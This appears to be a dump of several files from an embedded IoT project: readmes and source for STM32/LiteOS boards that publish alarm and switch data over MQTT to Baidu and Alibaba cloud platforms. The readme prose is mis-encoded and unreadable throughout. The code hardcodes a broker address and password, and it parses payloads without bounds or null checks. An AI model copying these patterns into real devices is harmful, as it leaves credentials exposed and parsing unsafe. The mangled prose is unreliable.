> * ๅ่ฝๆถๆ๏ผๆฐๆฎๆตๅ+ๅบ็จๅ่ฝ
ๆฐๆฎๆตๅ๏ผ็ป็ซฏ(F429ๆจกๆ)<---->ไบๅนณๅฐ(็พๅบฆไบ)<---->ๅบ็จๅนณๅฐ(MQTTๅฎขๆท็ซฏๆจกๆ)
ๅบ็จๅ่ฝ๏ผ
> 1. ็ป็ซฏๆญๅผไธ่ฟๆฅไบๅนณๅฐ
> 2. ็ป็ซฏๅ้ๆฅ่ญฆๆฐๆฎๅฐไบๅนณๅฐ
> 3. ็ป็ซฏไปไบๅนณๅฐๆฅๆถๅๆญขๆฅ่ญฆๅฝไปค
๏ผ3๏ผ็ฉๆฅๅ
ฅIoT Hub็ฎไป
> ็ฉๆฅๅ
ฅIoT Hub ๆฏๅ
จๆ็ฎก็ไบๆๅก๏ผ้่ฟไธปๆต็็ฉ่็ฝๅ่ฎฎ๏ผๅฆMQTT๏ผ้่ฎฏ๏ผๅฏไปฅๅจๆบ่ฝ่ฎพๅคไธไบ็ซฏไน้ดๅปบ็ซๅฎๅ
จ็ๅๅ่ฟๆฅ๏ผๅฟซ้ๅฎ็ฐ็ฉ่็ฝ้กน็ฎใ
ๆฏๆไบฟ็บงๅนถๅ่ฟๆฅๅๆถๆฏๆฐ๏ผๅปบ็ซๆตท้่ฎพๅคไธไบ็ซฏๅฎๅ
จๅฏ้ ็ๅๅ่ฟๆฅ๏ผๆ ็ผๅฏนๆฅๅคฉๅทฅๅนณๅฐๅ็พๅบฆไบ็ๅ้กนไบงๅๅๆๅกใ
2ใ็กฌไปถๆนๆก
-----------
ๆฌๆฌก้กน็ฎ็กฌไปถ้็จไบๅไธบๅฎๆนๆไพ็F429ๅผๅๆฟ๏ผ้่ฟๆฟ่ฝฝๆ้ฎๆจกๆๆฅ่ญฆ่พๅ
ฅไฟกๅท๏ผ่พๅบไฝฟ็จไบๆฟ่ฝฝled๏ผไธฒๅฃ๏ผๅRJ45็ฝๅฃใ
3ใ่ฝฏไปถๆนๆก
-----------
* ่ฝฏไปถๆดไฝๆถๆ๏ผ้ฉฑๅจๅฑ+็ณป็ปๅฑ+็ฝ็ปๅฑ+ๅบ็จๅฑ
* ้ฉฑๅจๅฑ๏ผstm32f4ๅฎๆน้ฉฑๅจๅบๆไปถ+ๆฟ่ฝฝๅค่ฎพ้ฉฑๅจๆไปถ(LED/KEY/UART/ETH/TIMER)
* ็ณป็ปๅฑ๏ผLiteOS็ณป็ปๆไปถ
* ็ฝ็ปๅฑ๏ผไผ ่พๅฑ(Lwip)ๆไปถ+ๅบ็จๅฑ(MQTT)ๆไปถ๏ผๅไธบ็ฝ็ปๅๅงๅใ็ฝ็ป่ฟๆฅใ็ฝ็ปๆญๅผใ็ฝ็ป็ถๆ๏ผๅ้็ฝ็ปๆฐๆฎใๆฅๆถ็ฝ็ปๆฐๆฎๅ ไธชๅ่ฝๆจกๅ
* ๅบ็จๅฑ๏ผๆบๆ
งๆถ้ฒๅ่ฝๆผ็คบๆไปถ๏ผไธป่ฆๅไธบ่ฟๆฅๅบ็จๆๅกๅจใๆญๅผๅบ็จๆๅกๅจใๅ้ๆฅ่ญฆๆฐๆฎๅฐๅบ็จๆๅกๅจใไปๅบ็จๆๅกๅจๆฅๆถๆงๅถๅฝไปคๅ ไธชๆจกๅ
ไธใๆฅๅ
ฅ็ฌฌไธๆนไบๅนณๅฐ
====================
* [็พๅบฆไบ โโ ็ฉๆฅๅ
ฅIoT Hub ่ฏฆๆ
](https://cloud.baidu.com/doc/IOT/ProductDescription.html)
ๅใๅ
ณ้ฎๆบไปฃ็ ่งฃๆ
==================
1ใ็จๅบๆไปถไป็ป
---------------
```
arch arm็cortexๆถๆ็ธๅ
ณ็ๆไปถ
drivers ่ฏ็็ธๅ
ณ้ฉฑๅจๆไปถ๏ผๆฟ่ฝฝ็ธๅ
ณๅค่ฎพ้ฉฑๅจๆไปถ
kernel LiteOS็ณป็ป็ธๅ
ณๆ ธๅฟๆไปถ
lwip lwipๅ่ฎฎๆ ็ธๅ
ณๆ ธๅฟๆไปถ
mqtt MQTTๅบ็จๅ่ฎฎ็ธๅ
ณๆ ธๅฟๆไปถ
baidu ็จๆทๅบ็จ็ธๅ
ณไปฃ็
targets ็ฎๆ ๆฟ็ธๅ
ณ็็คบไพๅทฅ็จ
```
2ใ็จๅบไธปๅฝๆฐ่ฏดๆ
-----------------
1. ๅ
ๆ ธๅๅงๅใ็กฌไปถๅๅงๅใๅ่ฎฎๆ ๅๅงๅ
2. ๅๅปบไบไธชไปปๅก๏ผๆ้ฎๅค็ไปปๅก๏ผLwipๅ่ฎฎๆ ่ฝฎ่ฏขๅค็ไปปๅก
3. ้่ฟๆ้ฎๅค็ไปปๅกๅๅปบ4ไธชไปปๅก๏ผๆฅๆถๅบ็จๆฐๆฎไปปๅก๏ผๅๅธไธป้ขไปปๅก๏ผไฟๆ็ฝ็ป่ฟๆฅไปปๅก๏ผ่ฎข้
ไธป้ขไปปๅก
3ใๅ
ณ้ฎไปฃ็ ่ฏดๆ
---------------
> ๏ผ1๏ผๆ้ฎๅค็ไปปๅก๏ผๆไธK1ๆถ๏ผ็ป็ซฏ่ฟๆฅMQTTๆๅกๅจ๏ผ่ฟๆฅๆๅ็ปฟ็ฏไบฎ่ตท๏ผ่ฟๆฅๅคฑ่ดฅ็บข็ฏไบฎ่ตท๏ผๅคไบ่ฟๆฅ็ถๆๆถๅๆฌกๆไธK1๏ผๆญๅผ็ป็ซฏไธMQTTๆๅกๅจ็่ฟๆฅ,็ปฟ็ฏๅ็บข็ฏ๏ผๆไธK2ๆถ๏ผ็ป็ซฏๅผๅงๆฏ้8็งๅ้ๆฅ่ญฆๆฐๆฎ็ปMQTTๆๅกๅจ๏ผๆ ธๅฟๆฟไธ้ข็่่ฒled้ช็ไธๆฌก๏ผๅๆฌกๆไธK2๏ผๅๆญขๅ้ๆฅ่ญฆๆฐๆฎ๏ผๅจๅคไบๆฅ่ญฆ็ถๆไธๆถๅฏ้่ฟMQTTๅฎขๆท็ซฏๅ้ๆงๅถๆไปค็ปไบๅนณๅฐ๏ผไบๅนณๅฐๅฐๆงๅถๆไปคไธๅ็ป็ป็ซฏ๏ผ็ป็ซฏๅๆญขๆฅ่ญฆ
```
VOID key_task(VOID)
{
while(1)
{
Key_RefreshState(&Key1);
Key_RefreshState(&Key2);
if(Key_AccessTimes(&Key1,KEY_ACCESS_READ)!=0)
{
if(mqtt_server_connstatus==0)
{
if (EthLinkStatus == 0)
{
connect_mqtt_server();
}
}
else
{
disconnect_mqtt_server();
}
Key_AccessTimes(&Key1,KEY_ACCESS_WRITE_CLEAR);
}
if(Key_AccessTimes(&Key2,KEY_ACCESS_READ)!=0)
{
if(mqtt_send_alarm_flg)
{
PRINTF_DBG("\r\n mqtt client stop send alarm message !!!");
mqtt_send_alarm_flg = 0;
}
else if(mqtt_send_alarm_flg==0)
{
PRINTF_DBG("\r\n mqtt client start send alarm message !!!");
mqtt_send_alarm_flg = 1;
}
Key_AccessTimes(&Key2,KEY_ACCESS_WRITE_CLEAR);
}
}
}
```
> ๏ผ2๏ผ่ฝฎ่ฏขๅค็lwipๅ่ฎฎๆ ็ธๅ
ณ็ไปปๅก๏ผๅ
ๆฌไบๅ่ฎฎๆ ็ๅๅงๅ๏ผๅ้ๆฐๆฎ๏ผๆฅๆถๆฐๆฎ
```
VOID lwip_poll_task(VOID)
{
LwipAppInit();
while(1)
{
/* check if any packet received */
if (ETH_CheckFrameReceived())
{
/* process received ethernet packet */
LwIP_Pkt_Handle();
}
/* handle periodic timers for LwIP */
LwIP_Periodic_Handle(LocalTime);
}
}
```
> ๏ผ3๏ผMQTT่ฟๆฅ็็ฎ็IPๅPORT
```
#define DEST_IP_ADDR0 163
#define DEST_IP_ADDR1 177
#define DEST_IP_ADDR2 150
#define DEST_IP_ADDR3 11
#define DEST_PORT 1883
```
> ๏ผ4๏ผ่ฟๆฅMQTTๆๅกๅจ็้
็ฝฎๅๆฐ
```
#define MQTT_CLIENT_ID "tbs_n110_001"
#define KEEPALIVE_INTERVAL 60
#define MQTT_CLIENT_USER_NAME "tbs_n110/tbs_n110_001"
#define MQTT_CLIENT_PASSWORD "nu/005K89vIWmbqmP9+V4h7k2GeofYtvZF3o9JT/X8o="
#define MQTT_CLIENT_SUBTOPIC "topic02"
#define MQTT_CLIENT_PUBTOPIC "topic01"
```
> ๏ผ5๏ผ่ฟๆฅMQTTๆๅกๅจ
```
void connect_mqtt_server(void)
{
MQTTPacket_connectData data = MQTTPacket_connectData_initializer;
unsigned char buf[BUF_SIZE];
int buflen = sizeof(buf);
int len = 0;
UINT32 uwRet1;
UINT32 uwRet2;
data.clientID.cstring = MQTT_CLIENT_ID;
data.keepAliveInterval = KEEPALIVE_INTERVAL;
data.cleansession = 1;
data.username.cstring = MQTT_CLIENT_USER_NAME;
data.password.cstring = MQTT_CLIENT_PASSWORD;
clear_rec_buf();
LOS_SemCreate(0,&g_usGetNetStatusSemID);
transport_open();
uwRet1 = LOS_SemPend(g_usGetNetStatusSemID,3000);
if(uwRet1 == LOS_OK)
{
PRINTF_DBG("\r\n connect to tcp server success !!!");
len = MQTTSerialize_connect(buf, buflen, &data);
LOS_SemCreate(0,&g_usGetNetDataSemID);
transport_sendPacketBuffer(buf, len);
uwRet2 = LOS_SemPend(g_usGetNetDataSemID,3000);
if(uwRet2 == LOS_OK)
{
/* wait for connack */
if (MQTTPacket_read(buf, buflen, transport_getdata) == CONNACK)
{
unsigned char sessionPresent, connack_rc;
if (MQTTDeserialize_connack(&sessionPresent, &connack_rc, buf, buflen) != 1 || connack_rc != 0)
{
PRINTF_DBG("Unable to connect, return code %d\n", connack_rc);
goto exit;
}
LED2_ON;
mqtt_server_connstatus = 1;
PRINTF_DBG("\r\n connect to mqtt server success !!!");
clear_rec_buf();
LOS_SemDelete(g_usGetNetStatusSemID);
LOS_SemDelete(g_usGetNetDataSemID);
//receive subscribe topic message
creat_rec_mqtt_message_task();
//subscribe the toppic
creat_mqtt_client_subtopic_task();
//send ping message to mqtt server
creat_send_mqtt_ping_taask();
//send mqtt alarm to mqtt server
creat_send_alarm_task();
return ;
}
else
{
PRINTF_DBG("\r\n no receive mqtt server connack !!!");
goto exit;
}
}
if(uwRet2 == LOS_ERRNO_SEM_TIMEOUT)
{
PRINTF_DBG("\r\n connect to mqtt server timeout !!!");
exit:
clear_rec_buf();
LOS_SemDelete(g_usGetNetStatusSemID);
LOS_SemDelete(g_usGetNetStatusSemID);
transport_close();
}
}
if(uwRet1 == LOS_ERRNO_SEM_TIMEOUT)
{
PRINTF_DBG("\r\n connect to tcp server timeout !!!");
LOS_SemDelete(g_usGetNetStatusSemID);
}
}
```
4ใไธไผ ๆฐๆฎไปฃ็ ่ฏฆ่งฃ
-------------------
> * ๅ้ไธป้ขๆถๆฏ็ปMQTTๆๅกๅจ
```
void mqtt_client_pubtopic(void)
{
unsigned char buf[BUF_SIZE];
int buflen = sizeof(buf);
int len = 0;
MQTTString topicString = MQTTString_initializer;
unsigned char payload[] = "send the alarm";
topicString.cstring = MQTT_CLIENT_PUBTOPIC;
len = MQTTSerialize_publish(buf, buflen, 0, 0, 0, 0, topicString, payload, sizeof(payload));
transport_sendPacketBuffer(buf, len);
PRINTF_DBG("\r\n publish the topic message");
}
void send_alarm_task(void)
{
while(1)
{
if(mqtt_send_alarm_flg)
{
if(mqtt_server_connstatus == 0)
{
PRINTF_DBG("\r\n mqtt server no connect,publish the topic message fail !!!");
}
else
{
// start send alarm message
LED4_ON;
LOS_TaskDelay(1000);
LED4_OFF;
mqtt_client_pubtopic();
}
LOS_TaskDelay(7000);
}
}
}
```
3ใไธๅๅฝไปคไปฃ็ ่ฏฆ่งฃ
-------------------
> * ไปMQTTๆๅกๅจๆฅๆถไธ่กๆฐๆฎ
```
//receive subscribe topic message
void rec_subscribed_topic_message(void)
{
unsigned char buf[BUF_SIZE];
int buflen = sizeof(buf);
while(1)
{
if(tcp_is_received())
{
int RetVal = MQTTPacket_read(buf, buflen, transport_getdata);
if ( RetVal== PUBLISH)
{
unsigned char dup;
int qos;
unsigned char retained;
unsigned short msgid;
int payloadlen_in;
unsigned char* payload_in;
MQTTString receivedTopic;
MQTTDeserialize_publish(&dup, &qos, &retained, &msgid, &receivedTopic,
&payload_in, &payloadlen_in, buf, buflen);
PRINTF_DBG("\r\n topic message arrived from mqtt server\n");
PRINTF_DBG("\r\n the topic name: %s\n", MQTT_CLIENT_SUBTOPIC);
PRINTF_DBG("\r\n topic message: %.*s\n", payloadlen_in, payload_in);
if(strstr((const char *)payload_in,"close the alarm"))
{
PRINTF_DBG("\r\n close the alarm");
mqtt_send_alarm_flg = 0;
}
}
if(RetVal== PINGRESP)
{
LOS_SemPost(g_usWaitPingRspSemID);
}
if(RetVal== SUBACK)
{
unsigned short submsgid;
int subcount;
int granted_qos;
MQTTDeserialize_suback(&submsgid, 1, &subcount, &granted_qos, buf, buflen);
if (granted_qos != 0)
{
PRINTF_DBG("granted qos != 0, %d\n", granted_qos);
}
else
{
LOS_SemPost(g_usWaitSubAckSemID);
}
}
clear_rec_buf();
}
}
}
UINT32 creat_rec_mqtt_message_task(void)
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "rec_topic_message_task";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)rec_subscribed_topic_message;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_RecTopicMsgTskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
```
ไบใไบงๅ่ฐ่ฏ
============
1ใ็กฌไปถ่ฐ่ฏ
-----------
* ็ตๆบ้้
ๅจๆๅ
ฅF29ๅผๅๆฟ็็ตๆบๆฅๅฃ
* ไธฒๅฃ็บฟ่ฟๆฅF429ๅผๅๆฟ็ไธฒๅฃ1ๅPC็ซฏ(115200/8/1)
* ็ฝ็บฟไธ็ซฏๆๅ
ฅF429ๅผๅๆฟ็็ฝๅฃ๏ผไธ็ซฏๆฅๅ
ฅ่ทฏ็ฑๅจ็ฝ็ป๏ผๅจๆ่ทๅIP๏ผไฟ่ฏ่ทฏ็ฑๅจ่็ฝๆญฃๅธธ
2ใ่ฝฏไปถ่ฐ่ฏ
-----------
* ็กฌไปถๆฅๅ
ฅๅ๏ผ้จ็ฝฒไธๆๆฐ็็จๅบ๏ผ็ถๅ่ฟ่ก
* ๆๅผPCๆบไธฒๅฃ่ฐ่ฏๅฉๆ(115200/8/1/ๆ ๆ ก้ช)๏ผๆฅ็ๅผๅๆฟ่ฟ่กไฟกๆฏ
* ๅจPC็ซฏๆๅผMQTTๅฎขๆท็ซฏ่ฝฏไปถ๏ผ่ฟๆฅMQTTๆๅกๅจ๏ผไบๅนณๅฐ๏ผ๏ผ่ฎข้
ไธป้ขtopic01๏ผๅผๅๆฟไผๅtopic01ไธป้ขๅๅธๆถๆฏ๏ผๅไธป้ขtopic02ๅๅธไธ่กๆงๅถๅฝไปค๏ผๅผๅๆฟไผๆถๅฐtopic02็ๆถๆฏ
* ๆไธๆ้ฎK1๏ผๅผๅๆฟๆฅๅ
ฅไบๅนณๅฐ๏ผๆฅๅ
ฅๆๅไบฎ็ปฟ็ฏ๏ผๅคฑ่ดฅไบฎ็บข็ฏ๏ผ่ฟๆฅๅคฑ่ดฅๅฏๅๆฌกๆไธK1ๅฐ่ฏ้ๆฐๆฅๅ
ฅ๏ผๆฅๅ
ฅๆๅๅๆไธK2ๆ้ฎ๏ผๅผๅๆฟๅไธป้ขtopic01ๅ้ๆฅ่ญฆๆถๆฏ๏ผๆญคๆถ้่ฟMQTTๅฎขๆท็ซฏๅฏๆถๅฐไบๅนณๅฐๆจ้็ๆฅ่ญฆไฟกๆฏ๏ผ้่ฟMQTTๅฎขๆท็ซฏๅไธป้ขtopic02ๅๅธโclose the alarmโๆถๆฏ๏ผๅๆญขๅผๅๆฟๅ้ๆฅ่ญฆๆถๆฏ๏ผไนๅฏไปฅ็ดๆฅๅๆฌกๆไธK2ๅๆญขๆฅ่ญฆ๏ผๆต่ฏๅฎๆ๏ผๅๆฌกๆไธK1๏ผๆญๅผไบๅนณๅฐไธๅผๅๆฟ็่ฟๆฅ
```
HAL_OS_liteos.c
```/*
* Copyright (C) 2015-2017 Alibaba Group Holding Limited
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include "include.h"
void *HAL_MutexCreate(void)
{
UINT32 puwMuxHandle;
UINT32 ret = LOS_MuxCreate(&puwMuxHandle);
if (LOS_OK != ret) {
return NULL;
}
return (void *)(puwMuxHandle+1);
}
void HAL_MutexDestroy(_IN_ void *mutex)
{
LOS_MuxDelete((UINT32)mutex-1);
}
void HAL_MutexLock(_IN_ void *mutex)
{
LOS_MuxPend((UINT32)mutex-1,LOS_WAIT_FOREVER);
}
void HAL_MutexUnlock(_IN_ void *mutex)
{
LOS_MuxPost(((UINT32)mutex)-1);
}
void *HAL_Malloc(_IN_ uint32_t size)
{
return (void *)LOS_MemAlloc((VOID *)OS_SYS_MEM_ADDR,size);
}
void HAL_Free(_IN_ void *ptr)
{
LOS_MemFree((VOID *)OS_SYS_MEM_ADDR,ptr);
}
uint64_t HAL_UptimeMs(void)
{
return LOS_Tick2MS(LOS_TickCountGet());
}
void HAL_SleepMs(_IN_ uint32_t ms)
{
LOS_TaskDelay(ms);
}
void HAL_Printf(_IN_ const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
fflush(stdout);
}
int HAL_GetPartnerID(char pid_str[])
{
return NULL;
}
int HAL_GetModuleID(char mid_str[64])
{
memset(mid_str, 0x0, 64);
return strlen(mid_str);
}
void HAL_Srandom(uint32_t seed)
{
}
uint32_t HAL_Random(uint32_t region)
{
return 0;
}
int HAL_Snprintf(_IN_ char *str, const int len, const char *fmt, ...)
{
va_list args;
int rc;
va_start(args, fmt);
rc = vsnprintf(str, len, fmt, args);
va_end(args);
return rc;
}
int errno;
```
readme.md
```ไธใ่ๆฏๅไป็ป
==============
1ใๅ
ฌๅธ/ๅข้ไป็ป
----------------
๏ผ1๏ผๆทฑๅณๅธๆ
ง่ง้็งๆ่กไปฝๆ้ๅ
ฌๅธๆ็ซไบ2005ๅนด๏ผๆณจๅ่ต้6000ไธๅ
๏ผๆฏ้็ ๅใ็ไบงใ้ๅฎใๆๅกไบไธไฝ็ๅคงๅๅๆ/GPSไธไธ้ขๅ็ปผๅ่ฟ่ฅๆๅกๆไพๅไนไธ๏ผ้ซๆฐๆๆฏไผไธ๏ผๅ่ฝฏ่ฎค่ฏไผไธใ
๏ผ2๏ผๆ
ง่ง้ไธๆณจไบๆบ่ฝไบค้้ขๅ๏ผไปฅ่ฝฆ่็ฝใไบ่ฎก็ฎใๅคงๆฐๆฎๅค็ใๆ ็บฟ้ไฟกๅๅๆ/GPSๅ
จ็ๅฎไฝๆๆฏไธบๆ ธๅฟ๏ผ้ๅฏนๅทกๆธธ/็ฝ็บฆๅบ็ง่ฝฆใ็ฉๆต/ไธคๅฎขไธๅฑใๅ่ฃ
ๆฐ่ฝๆบใ้ฉพ้ฉถๅน่ฎญใๆฑฝ่ฝฆ็ง่ตใ่ฏไน่ฏ้ฉพ็ญ่กไธๆไพ็ฌฆๅๅฎขๆท้ๆฑ็ไบงๅๅ่งฃๅณๆนๆก๏ผไธบๅฎขๆทๅ้ ไปทๅผใ
2ใ้กน็ฎไป็ป
-----------
**้กน็ฎ็ฎไป๏ผ**
ๆบ่ฝๆๅบง้กน็ฎ๏ผๆไผ ็ปๆๅบงๆฅๅ
ฅ็ฝ็ป๏ผ่ฝๅคๅฎ็ฐ่ฟ็จๆฅ็ๆๅบง็ถๆๅ่ฎพ็ฝฎ็ตๆบ็ถๆใ
้กน็ฎๅฉ็จMQTTๅ่ฎฎๆฅๅ
ฅ้ฟ้ไบๅนณๅฐ๏ผๅฎ็ฐไบ่ฟ็จๆงๅถๆๅบง๏ผๅตๅ
ฅๅผ็ณป็ปไธบLiteOS็ณป็ปใ็ฎๅ้่ฟๆญค้กน็ฎๅทฒๆๅๅฏนๆฅ้ฟ้ไบๅนณๅฐ๏ผไธไธ้ถๆฎตๅฐCAN้้็่ฝฆ่พไฟกๆฏ้่ฟLiteOs+MQTTๅฏนๆฅๆ
ง่ง้ไบๅนณๅฐๅ้ฟ้ไบๅนณๅฐ๏ผไฝฟๅฎขๆทๆๆดๅค็้ๆฉใ
ไบใ้กน็ฎๅ
ๅฎน
============
1ใๆนๆก่ฏดๆ
-----------
๏ผ1๏ผๅ่ฝ่ฏดๆ
่ฎพๅคไธ็ต่ฟๆฅ่ณ้ฟ้ไบๅนณๅฐ,้่ฟไบๅนณๅฐๅฏไปฅๆฅ็ๆ่ฎพ็ฝฎๆๅบง็ถๆใ
๏ผ2๏ผๆฅๅ
ฅ่ฏดๆ
็ฝๅ
ณ่ฎพๅค้่ฟIOๅฃๆงๅถ็ปง็ตๅจ็ถๆ่ฟ่ๆงๅถๆ็บฟๆฟ็ตๆบ๏ผ็ฝๅ
ณ่ฎพๅค้่ฟไปฅๅคช็ฝๆฅๅ
ฅ้ฟ้ไบ็ฉ่็ฝๅนณๅฐใ
็ฝๅ
ณๅ้ฟ้ไบ็ฉ่็ฝๅนณๅฐ็้ไฟกๅ่ฎฎไธบMQTT+Alinkใ
2ใ็กฌไปถๆนๆก
-----------
็ฝๅ
ณ็ฎๅ้็จ็ๆฏ้็ซSTM32ๅผๅๆฟใ
3ใ่ฝฏไปถๆนๆก
-----------
ๅตๅ
ฅๅผ่ฝฏไปถๅ
ๆฌๅฆไธๅ ้จๅ๏ผLiteOSๆ ธๅฟใๅผๅๆฟ้ฉฑๅจใSTM32F4ๅบๅฑๅบใLWIPๅ่ฎฎๆ ใMQTTๅบๅAlink็ธๅ
ณๅฎ็ฐไปฃ็ ใ
LiteOS + LWIP + MQTT + ALINK <----> ้ฟ้ไบ
ไธใๆฅๅ
ฅ็ฌฌไธๆนไบๅนณๅฐ
====================
็ฅ
ๅใๅ
ณ้ฎๆบไปฃ็ ่งฃๆ
==================
1ใ็จๅบๆไปถไป็ป
---------------
starup - ๅฏๅจๆไปถ
user - ็จๆทๆไปถ
drivers - ๅผๅๆฟBSP้ฉฑๅจ
stm32f4xx_std_periph - STM32ๆ ๅๅบ
liteos/cmsis - LiteOS cmsisๆฅๅฃ
liteos/kernel - LiteOSๆ ธๅฟๆไปถ
liteos/arch - LiteOSไธป่ฆๆไปถ
lwip - Lwipๅ่ฎฎๆ
mqtt - MQTTๅบ
alibaba - ้ฟ้ไบๅนณๅฐ็ธๅ
ณๆไปถ
2ใ็จๅบไธปๅฝๆฐ่ฏดๆ
-----------------
๏ผ1๏ผๅ
ๆ ธๅๅงๅใ็กฌไปถๅๅงๅใๅ่ฎฎๆ ๅๅงๅ
๏ผ2๏ผๅๅปบไธไธชไปปๅก๏ผไธไธชๆฏๅผๅงไปปๅก๏ผไธไธชๆฏDHCPๅค็๏ผๅฆๅคไธไธชๆฏmqttๆฐๆฎๆถๅใ
3ใๅ
ณ้ฎไปฃ็ ่ฏดๆ
---------------
๏ผ1๏ผLwIP_DHCP_taskไปปๅก๏ผไธป่ฆๅค็TCPIP็ธๅ
ณไธๅกใ
๏ผ2๏ผmqtt_clientไปปๅก๏ผไธป่ฆๅค็้ฟ้ๅนณๅฐ็็ปๅฝๅๆฐๆฎ็ๆถๅ๏ผ่ฟ่ๆงๅถIO็ถๆ๏ผๆฏๆดไธชไธๅก็ๆ ธๅฟใ
4ใไธไผ ๆฐๆฎไปฃ็ ่ฏฆ่งฃ
-------------------
๏ผ1๏ผๆ็ตๆบ็ถๆๆAlinkๅ่ฎฎ็ๆ ผๅผ่ฟ่กๆๅ
//{"method":"thing.event.property.post","id":"2008001","params":{"PowerSwitch":1},"version":"1.0.0"}
static int serial;
sprintf(msg_pub, ALINK_BODY_FORMAT,ALINK_METHOD_PROP_POST, ++serial,UserSwitch);
๏ผ2๏ผๆๆฐๆฎๆจ้ๅฐไบ็ซฏ
rc = IOT_MQTT_Publish(pclient, ALINK_TOPIC_PROP_POST, &topic_msg);
3ใไธๅๅฝไปคไปฃ็ ่ฏฆ่งฃ
-------------------
๏ผ1๏ผๆง่กๆฐๆฎๅค็๏ผๆฅๆถไฟกๆฏๅ้ฆ
/* handle the MQTT packet received from TCP or SSL connection */
IOT_MQTT_Yield(pclient, 200);
๏ผ2๏ผ่ฎข้
ๅ้ฆ
static void _demo_message_arrive(void *pcontext, void *pclient, iotx_mqtt_event_msg_pt msg)
if(ptopic_info->topic_len==50)
{
const char *inf = "\"PowerSwitch\":";
char *dat = strstr(ptopic_info->payload, inf);
dat += strlen(inf);
UserSwitch = dat[0] - '0';
if(UserSwitch==0)
{
LED_RGBOFF;
}
else
{
LED_BLUE;
}
}
ไบใไบงๅ่ฐ่ฏ
============
1ใ็กฌไปถ่ฐ่ฏ
-----------
๏ผ1๏ผไปฅๅคช็ฝๅฃๆๅ
ฅ็ฝ็บฟ
2ใ่ฝฏไปถ่ฐ่ฏ
-----------
๏ผ1๏ผไธ็ต่ฟ่กใ
๏ผ2๏ผๆๅผๅๆฟUSB่ฝฌไธฒๅฃๆฅๅ
ฅ็ต่๏ผๆๅผไธฒๅฃ่ฐ่ฏๅจ๏ผ115200๏ผๆ ๆ ก้ช๏ผ๏ผๅฏไปฅ็ๅฐๅ็ง่ฟ่กไฟกๆฏใ
๏ผ3๏ผๆๅผ้ฟ้ไบ็ฉ่็ฝๅนณๅฐ๏ผๅจ่ฎพๅค่ฟ่ก็ถๆไธญ๏ผๅฏไปฅ็ๅฐไธไผ ็ๆฐๆฎ๏ผๅจ่ฐ่ฏ็ถๆๅฏไปฅ่ฎพ็ฝฎ็ถๆใ
๏ผ4๏ผ้ฟ้ๅฐๅ๏ผhttps://account.aliyun.com/login/login.htm?qrCodeFirst=false&oauth_callback=https%3A%2F%2Fliving.aliyun.com%2F#/
```
strings.h
```#ifndef STRINGS_H
#define STRINGS_H
#endif /* STRINGS_H */
```
main.c
```/**
******************************************************************************
* @file main.c
* @author fire
* @version V1.0
* @date 2015-xx-xx
* @brief TCP Clientไพ็จ
******************************************************************************
* @attention
*
* ๅฎ้ชๅนณๅฐ:็ง็ซ STM32 F429 ๅผๅๆฟ
* ่ฎบๅ :http://www.firebbs.cn
* ๆทๅฎ :https://fire-stm32.taobao.com
*
******************************************************************************
*/
//#include "stm32f4xx.h"
#include "bsp_led.h"
#include "./Bsp/usart/bsp_debug_usart.h"
#include "./Bsp/systick/bsp_SysTick.h"
#include "bsp_key.h"
#include "lwip/tcp.h"
#include "netconf.h"
#include "LAN8742A.h"
#include "tcp_echoclient.h"
#include "bsp_dht11.h"
#include "stdlib.h"
#include "string.h"
#include "los_base.h"
#include "los_config.h"
#include "los_typedef.h"
#include "los_hwi.h"
#include "los_task.ph"
#include "los_sem.h"
#include "los_event.h"
#include "los_memory.h"
#include "los_queue.ph"
#include "cmsis_os.h"
#include <stdio.h>
#include "ds18b20.h"
#include "stm32f4xx_conf.h"
#include "dwt.h"
#include "cjson.h"
#include "malloc.h"
#include "dwt.h"
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
KEY Key1,Key2;
UINT32 g_TskHandle;
cJSON *json;
extern __IO uint8_t EthLinkStatus;
extern __IO uint32_t LocalTime; /* this variable is used to create a time reference incremented by 10ms */
/* Private function prototypes -----------------------------------------------*/
static void TIM3_Config(uint16_t period,uint16_t prescaler);
/* Private functions ---------------------------------------------------------*/
/**
* @brief ไธปๅฝๆฐ
* @param ๆ
* @retval ๆ
*/
void TIM3_IRQHandler(void);
void hieth_hw_init()
{
}
extern void HAL_ETH_IRQHandler(void);
void hardware_init(void)
{
LED_GPIO_Config();
Key1_GPIO_Config();
Key2_GPIO_Config();
KeyCreate(&Key1,GetPinStateOfKey1);
KeyCreate(&Key2,GetPinStateOfKey2);
Debug_USART_Config();
DS18B20_GPIO_Config();
DelayInit(SystemCoreClock);
LOS_HwiCreate(TIM3_IRQn, 0,0,TIM3_IRQHandler,NULL);
LOS_HwiCreate(ETH_IRQn, 1,0,HAL_ETH_IRQHandler,0);
TIM3_Config(999,899);
printf("Sysclock is %d\r\n",SystemCoreClock);
/* Configure ethernet (GPIOs, clocks, MAC, DMA) */
ETH_BSP_Config();
printf("LAN8720A BSP INIT AND COMFIGURE SUCCESS\n");
DHT11_GPIO_Config();
}
VOID task1()
{
int count = 0;
while(1)
{
count++;
printf("------This is task1,count is %d\r\n",count);
LOS_TaskDelay(2000);
}
}
UINT32 creat_task1()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "task1";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task1;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
UINT32 mainDHT11task()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "mainDHT11";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)mainDHT11;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
VOID task2()
{
int count = 0;
while(1)
{
count++;
printf("++++++++This is task2,count is %d\r\n",count);
